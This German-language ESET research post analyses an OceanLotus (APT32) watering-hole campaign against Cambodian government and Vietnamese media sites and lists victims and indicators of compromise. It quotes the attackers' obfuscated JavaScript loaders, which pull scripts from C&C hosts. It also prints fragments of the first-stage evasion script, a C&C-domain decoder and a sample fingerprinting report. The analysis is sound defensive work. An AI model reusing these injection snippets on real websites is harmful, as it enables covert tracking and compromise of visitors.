ESET-Forscher haben eine neue Watering Hole Kampagne auf mehrere Webseiten in Südostasien entdeckt, die vermutlich seit September 2018 aktiv ist. Der großangelegten Attacke konnten wir mindestens 21 kompromittierte Webseiten zuordnen. Einige davon stechen besonders heraus. Zu den kompromittierten Webseiten gehören beispielweise das Verteidigungsministerium von Kambodscha, das Außenministerium und das Ministerium für internationale Zusammenarbeit von Kambodscha sowie mehrere vietnamesische Zeitungen oder Blogs.
Nach eingehenden Analysen sind wir uns ziemlich sicher, dass die Watering Hole Kampagne der OceanLotus-Gruppe zuzuschreiben ist.[1] Die Cyber-Gang ist auch unter APT32[2] und APT-C-00 bekannt. Die E-Spionage-Truppe OceanLotus ist seit mindestens 2012 aktiv.[3] Ihre hauptsächlichen Ziele sind ausländische Regierungen und Dissidenten.
Die Kampagne scheint laut Volexity-Forschern eine Entwicklung des OceanLotus Framework B zu sein – ein Watering Hole Schema, dass sie im Jahr 2017 dokumentierten.[4] Die Cyber-Angreifer verbesserten ihr tückisches Framework, um Analysen zu verkomplizieren und zu verlangsamen. Daneben sind sie dazu übergegangen, öffentliche Schlüssel-Kryptografie zu benutzen, um AES-Sitzungsschlüssel auszutauschen. Diese verschlüsseln nachgelagerte Kommunikationen, was Sicherheitsprodukte letztendlich daran hindert, die eigentliche Payload aufzuspüren. Außerdem wechselten die OceanLotus-Entwickler von HTTP auf WebSocket, um die arglistigen Kommunikationen zu verstecken.
Die ESET-Forscher identifizierten 21 verschiedene Websiten, die von den Angreifern kontrolliert wurden. Abbildung 1 zeigt die Region, auf welche die Watering Hole Kampagne abzielt.
Die meisten kompromittierten Domains gehören Nachrichten-Webseiten oder zur kambodschanischen Regierung. Die nachstehende Tabelle listet die verschiedenen Opfer der OceanLotus-Kampagne. Wir haben alle bereits im Oktober benachrichtigt. Die meisten Webseiten beinhalten aber noch immer die bösartigen Skripte in ihren Webseiten. Wir empfehlen keinem, diese Webseiten zu besuchen.
Compromised domain | Description |
---|---|
baotgm[.]net | Media in Vietnamese (based in Arlington, Texas) |
cnrp7[.]org | Cambodia National Rescue Party |
conggiaovietnam[.]net | Related to Religion – In Vietnamese |
daichungvienvinhthanh[.]com | Related to Religion – In Vietnamese |
danchimviet[.]info | Media in Vietnamese |
danviet[.]vn | Media in Vietnamese |
danviethouston[.]com | Media in Vietnamese |
fvpoc[.]org | Former Vietnamese Prisoners of Conscience |
gardencityclub[.]com | Golf club in Phnom Penh, Kingdom of Cambodia |
lienketqnhn[.]org | Media in Vietnamese |
mfaic.gov[.]kh | Ministry of Foreign Affairs and International Cooperation of Cambodia |
mod.gov[.]kh | Ministry of Defense of Cambodia |
mtgvinh[.]net | Related to Religion – In Vietnamese |
nguoitieudung.com[.]vn | Media in Vietnamese |
phnompenhpost[.]com | Cambodian newspaper in English |
raovatcalitoday[.]com | Unknown – In Vietnamese |
thongtinchongphandong[.]com | Opposition media in Vietnamese |
tinkhongle[.]com | Media in Vietnamese |
toithichdoc.blogspot[.]com | Blog in Vietnamese |
trieudaiviet[.]com | Unknown – In Vietnamese |
triviet[.]news | Media in Vietnamese |
Normalerweise attackieren Cyber-Angreifer durch eine Watering Hole Attacke solche Webseiten, die von ihren eigentlichen Zielen des Öfteren besucht werden. Dieses Mal kompromittierten sie außerdem Webseiten, die generell eine große Besucherzahl verzeichnen. Die folgende Tabelle zeigt den Alexa Rank der attackierten Webseiten zum Zeitpunkt der Erstellung des Artikels. Beispielsweise wurde die Webseite der Dan Viet Zeitung kompromittiert, welche die 116te am häufigsten besuchte Webseite in Vietnam ist.
Domain | Alexa rank (global) | Alexa rank (in the most popular country) |
---|---|---|
danviet[.]vn | 12,887 | 116 |
phnompenhpost[.]com | 85,910 | 18,880 |
nguoitieudung.com[.]vn | 261,801 | 2,397 |
danchimviet[.]info | 287,852 | 144,884 |
baotgm[.]net | 675,669 | 119,737 |
toithichdoc.blogspot[.]com | 700,470 | 11,532 |
mfaic.gov[.]kh | 978,165 | 2,149 |
conggiaovietnam[.]net | 1,040,548 | 15,368 |
thongtinchongphandong[.]com | 1,134,691 | 21,575 |
tinkhongle[.]com | 1,301,722 | 15,224 |
daichungvienvinhthanh[.]com | 1,778,418 | 23,428 |
triviet[.]news | 2,767,289 | Not available |
mod.gov[.]kh | 4,247,649 | 3,719 |
raovatcalitoday[.]com | 8,180,358 | Not available |
cnrp7[.]org | 8,411,693 | Not available |
mtgvinh[.]net | 8,415,468 | Not available |
danviethouston[.]com | 8,777,564 | Not available |
lienketqnhn[.]org | 16,109,635 | Not available |
gardencityclub[.]com | 16,109,635 | Not available |
trieudaiviet[.]com | 16,969,048 | Not available |
fvpoc[.]org | Not available | Not available |
Analyse der OceanLotus-Kampagne
Der Modus Operandi bei allen kompromittierten Webseiten gestaltet sich ähnlich. Die Angreifer fügen eines kleines Stück JavaScript-Code in die Index-Seite oder in eine JavaScript-File auf demselben Server hinzu. Der leicht verschleierte untenstehende Code lädt dann ein anderes Script von einem C&C-Server der OceanLotus-Angreifer. Beispielsweise der in https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js hinzugefügte Code soll die folgende Datei laden: https://weblink.selfip[.]info/images/cdn.js?from=maxcdn.
(function() {
var pt = "http";
var l = document.createElement('script');
l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn';
document.getElementsByTagName('body')[0].appendChild(l)
})('web', 'a', 'link', '.self');
Abbildung 2 – Das Stück JavaScript Code, das beispielsweise zu mfaic.gov[.]kh hinzugefügt wurde
Um nicht enttarnt zu werden, ergriffen die OceanLotus-Entwickler folgende Maßnahmen:
- Sie verschleiern die Skripts, um eine statische Extraktion der endgültigen URL zu verhindern.
- Die URL sieht aus wie eine echte JavaScript-Bibliothek, die auch von der Website verwendet wird.
- Sie verwenden eine andere Domain und einen unterschiedlichen URI für jede gefährdete Website.
- Das Skript unterscheidet sich je nach kompromittierter Webseite. Der folgende Code ist das Skript, das in eine andere gefährdete Website eingefügt wird:
var script = document.createElement("script");
var i = 'crash-course';
var s = "fzgbc knowsztall znfo";
var _ = '/';
var e = "VisitorIdentification.js?sa=" + i;
script.async = true;
script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e;
var doc = document.getElementsByTagName('script')[0];
doc.parentNode.insertBefore(script, doc);
Abbildung 3 - Ein weiteres Stück JavaScript wurde zielgerichtet in eine Webseite eingefügt
First Stage Script
Je nach IP-Adresse des Webseiten-Besuchers übergibt der First Stage Server – beispielsweise weblink.selfip[.]info for mfaic.gov[.]kh – entweder ein Köder-Skript (zufällige legitime JavaScript-Bibliothek) oder das First Stage Script (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A). Nicht alle Server vollziehen den Location-Check. Bei Aktivierung übergeben die Server allerding nur an Webseiten-Besucher aus Vietnam oder Kambodscha das schädliche JavaScript.
Das First Stage Script wird mehrere Checks vollziehen, um einer Entdeckung zu entgehen (siehe Abbildung 4).
[…]
function t(n) {
var r = this;
!function (t, n) {
if (!(t instanceof n))
throw new TypeError('Cannot call a class as a function');
}(this, t), this.t = {
o: null,
s: !0
}, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () {
r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1;
});
}
return t.prototype.r = function () {
var t = this;
setInterval(function () {
var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal';
r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e);
}, 500);
}
[…]
Abbildung 4 - First Stage JavaScript Payload
Das Skript wartet, bis das Opfer auf der Webseite blättert. Es überprüft auch die Auflösung des Fensters und ob Firebug, eine Browsererweiterung zur Analyse von Webseiten, aktiviert ist. Wenn eine der Prüfungen fehlschlägt, wird die Code-Ausführung abgebrochen.
Wenn alles funktioniert, dekodiert der Code die C&C-Domain mit Hilfe eines maßgeschneiderten Algorithmus. Beispielsweise ergibt 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 die Domain: wss://tcog.thruhere[.]net. Für jede First Stage Domain registrierten die Angreifer auch eine andere Second Stage Domain, die jeweils auf einem anderen Server gehostet wurde. Der Code in Abbildung 5 entspricht der Entschlüsselungsfunktion (Python).
def decrypt(encrypted_url):
s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
Abbildung 5 - Python Code um C&C-server zu entschlüsseln
Sobald die C&C-Adresse entziffert wurde, sendet das Skript einen einzigartigen String, bestehend aus 15 Ziffern, um darauf das Second Stage Script zu empfangen und auszuführen. Die gesamte Kommunikation erfolgt über WebSocket via SSL. Es ermöglicht eine Vollduplexkommunikation zwischen Client und Server. Das bedeutet, dass ein Server, sobald der Client eine Verbindung hergestellt hat, Daten an den Client senden kann, auch wenn der Client keine Anforderung verschickte. OceanLotus setzt in der Watering Hole Kampagne wahrscheinlich aus Gründen der Tarnung auf WebSocket.
Second Stage Script
Das Second Stage Script erweckt den Eindruck eines Aufklärungsskripts. Die OceanLotus-Entwickler verwendeten Valves Fingerprintjs2-Biblothek, welche auch auf Github zu finden ist. Diese modifizierten sie leicht, um Netzwerkkommunikation und benutzerdefiniertes Reporting hinzuzufügen.
Abbildung 6 beschreibt den Flow der Second Stage Payload. Alle Kommunikationen finden über die in Stage 1 geöffnete WebSocket-Session statt.
Die Kommunikation ist durch einen AES Session Key gesichert, wobei dieser vom Server generiert wird. Durch die Verwendung eines RSA 1024-bit Public Keys ist es nicht möglich, die Kommunikation zwischen Client und Server zu entschlüsseln.
Im Vergleich zu den Vorgängern des Watering Hole Frameworks ist es für Verteidiger dieses Mal viel schwieriger, da die über das Netzwerk gesendeten Daten nicht erkannt und dann entschlüsselt werden können. Der vom Server gesendete Public Key ist allerdings immer derselbe und steht im Abschnitt IoCs zur Verfügung.
Das Aufklärungsskript erstellt einen Bericht – ähnlich dem unten gezeigten – und sendet ihn an den C&C-Server aus der Second Stage.
{
"history": {
"client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-",
"client_url": "https://www.mfaic.gov.kh/",
"client_cookie": "",
"client_hash": "",
"client_referrer": "https://www.mfaic.gov.kh/foreign-ngos",
"client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
"client_time": "2018-10-21T12:43:25.254Z",
"timezone": "Asia/Bangkok",
"client_network_ip_list": [
"192.168.x.x",
"x.x.x.x"
],
"client_api": "wss://tcog.thruhere.net/",
"client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7",
"client_uuid": "a612cdb028e1571dcab18e4aa316da26"
},
"navigator": {
"plugins": {
"activex": false,
"cors": true,
"flash": false,
"java": false,
"foxit": true,
"phonegap": false,
"quicktime": false,
"realplayer": false,
"silverlight": false,
"touch": false,
"vbscript": false,
"vlc": false,
"webrtc": true,
"wmp": false
},
"_screen": {
"width": 1920,
"height": 1080,
"availWidth": 1920,
"availHeight": 1080,
"resolution": "1920x1080"
},
"_plugins": [
[...]
Abbildung 7 - Fingerprint-Bericht
Der Bericht ist nahezu mit dem identisch, der vom OceanLotus Framework B generiert wird. Letzteres dokumentierten die Volexity Researcher im Jahr 2017. Die verschiedenen Abschnitte gleichen sich und beinhalten sogar dieselben Tippfehler. Aufgrund der Ähnlichkeiten und der Lage der Ziele sind wir davon überzeugt, dass es sich bei der Kampagne um OceanLotus handelt.
Der erstellte Bericht enthält detaillierte Informationen über den Browser des Opfers und zu besuchten Webseiten: Den User-Agent, den HTTP-Referer, die lokale und externe IP-Adresse, die Browser Plugins und die konfigurierten Spracheinstellungen.
Außerdem gibt es zwei eindeutige “Bezeichner“ für jeden Rechner, als client_zuuid und client_uuid bezeichnet. Sie dienen wahrscheinlich der User-Identifizierung und der Verfolgung über Webseiten hinweg. Diese “Bezeichner“ waren in der Version 2017 des Frameworks bereits vorhanden, und client_uuid wurde auf ähnliche Weise berechnet.
Client_zuuid ist die Verkettung der verschiedenen in navigator.mediaDevices.enumerateDevices enthaltenen deviceId-Werte. Die Geräte sind externe Geräte, auf die der Browser zugreifen kann, z. B. Kameras oder Mikrofone. Daher sollte dieser Wert für einen bestimmten User bei verschiedenen Webseiten-Besuchen auf demselben Computer gleich sein.
Das client_uuid ist ein MD5-Hash einiger Fingerabdruckinformationen, die durch fingerprintjs2 extrahiert werden. Zu den gesammelten Informationen gehören der Browser User-Agent, die Sprache, die Zeitzone, die Browser-Plugins und die im Browser verfügbaren Schriftarten. Auch diese Werte sollten bei allen Webseitenaufrufen identisch sein, es sei denn, der Benutzer aktualisiert beispielsweise den Browser oder verwendet ein anderes Gerät.
Letztendlich kann der Server zusätzlichen JavaScript-Code an den betroffenen Computer senden, möglicherweise die tatsächliche Payload. Aufgrund der Verwendung eines AES-Sitzungsschlüssels zur Kommunikationsverschlüsselung konnten wir leider keine Beispiele für von den Angreifern gesendete Payloads „in freier Wildbahn“ identifizieren. Darüber hinaus werden nur bestimmte Ziele mit der eigentlichen Payload versorgt.
Daher konnten wir die Payload nicht auf Test-Rechnern analysieren. Früheren Berichten zufolge zielen die OceanLotus Watering Hole Kampagnen darauf ab, Informationen von Opfern zu ergaunern (Phishing). Zum Beispiel berichtete Volexity, dass den Usern ein Popup angezeigt wurde, in dem der OAuth-Zugriff auf das Google-Konto des Opfers für eine OceanLotus-Google-App genehmigt werden sollte. Mit dieser Technik können Angreifer auf die Kontakte und E-Mails der Opfer zugreifen.
Netzwerkinfrastruktur
Um bestmöglich getarnt zu sein, registrierten die OceanLotus-Operatoren jeweils eine First und eine Second Stage Domain pro kompromittierter Webseite. Jede Domain ist auf einem anderen Server gehostet und besitzt eine individuelle IP-Adresse. Insgesamt hat die Gruppe mindestens 50 Domains und 50 Server für die Kampagne registriert.
Viele der First Stage Domains wurden durch kostenfreie Domain Name Services registriert, die meisten Second Stage Domains dagegen entgeltlich. Darunter befinden sich Webseiten, die sonst legitime Seiten nachahmen. In Tabelle3 sind einige davon aufgelistet.
C&C domain | Legitimate domain |
---|---|
cdn-ampproject[.]com | cdn.ampproject.com |
bootstraplink [.]com | getbootstrap.com |
sskimresources[.]com | s.skimresources.com |
widgets-wp[.]com | widgets.wp.com |
Die Anzahl der verwendeten Domains und deren Ähnlichkeit mit legitimen Webseiten machen eine Erkennung bzw. Enttarnung schwieriger, wenn man nur auf den Network Traffic blickt.
Fazit
Obwohl die OceanLotus-Gruppe unter Beobachtung vieler Cyber-Forscher steht, setzt sie ihre Aktivitäten gegen Ziele in Südostasien unbeeindruckt fort. Regelmäßig verbessern sie ihre Tools, wie zum Beispiel ihr Watering Hole Framework oder ihre Windows- oder MacOS-Malware. Das Watering Hole Framework hat die bislang höchste bekannte Entwicklungsstufe erreicht. Das ist nur eine weitere Erinnerung daran, dass APT-Gruppen nach wie vor genau beobachtet werden sollten.
Um die Anzahl an potentiellen Opfern zu minimieren, haben wir alle Webseiten-Betreiber der kompromittierten Seiten informiert, damit sie die schädlichen JavaScripts entfernen. Leider zeigten sich einige nicht sehr beeindruckt und haben bis dato noch nicht gehandelt.
ESET-Forscher werden die Entwicklung des OceanLotus-Toolsets weiterhin verfolgen. IoCs sind auch auf GitHub zu finden. Fragen und Samples bitte an folgende Mail-Adresse senden: threatintel@eset.com
References
[1] ESET Research, "OceanLotus: Old techniques, new backdoor," 03 2018. [Online]. Available: https://web-assets.esetstatic.com/wls/2018/03/ESET_OceanLotus.pdf.
[2] N. Carr, "Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations," FireEye, 14 05 2017. [Online]. Available: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.
[3] Sky Eye Lab, "OceanLotus APT Report Summary," 29 05 2015. [Online]. Available: http://blogs.360.cn/post/oceanlotus-apt.html.
[4] S. K. S. A. Dave Lassalle, "OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society," Volexity, 06 11 2017. [Online]. Available: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/.
Indicators of Compromise (IoCs)
Files
Description | SHA-1 | SHA-256 | Detection name |
---|---|---|---|
First stage script | 2194271C7991D60AE82436129D7F25C0A689050A | 1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7 | JS/Agent.NYQ |
Second stage script | 996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8 | 8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62 | JS/Agent.NYR |
Network IoCs
Description | SHA-1 | SHA-256 | Detection name |
---|---|---|---|
First stage script | 2194271C7991D60AE82436129D7F25C0A689050A | 1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7 | JS/Agent.NYQ |
Second stage script | 996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8 | 8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62 | JS/Agent.NYR |
RSA Public Key sent by the server
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X
/ABJB2M+urEvxJStRuL/+u/a9oJ6XL4JTFceYqJiSsXvwD/wDfgI00zCdmJ7xgw+
rpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao
hEXZ94it73j02h+JtQIDAQAB
-----END PUBLIC KEY-----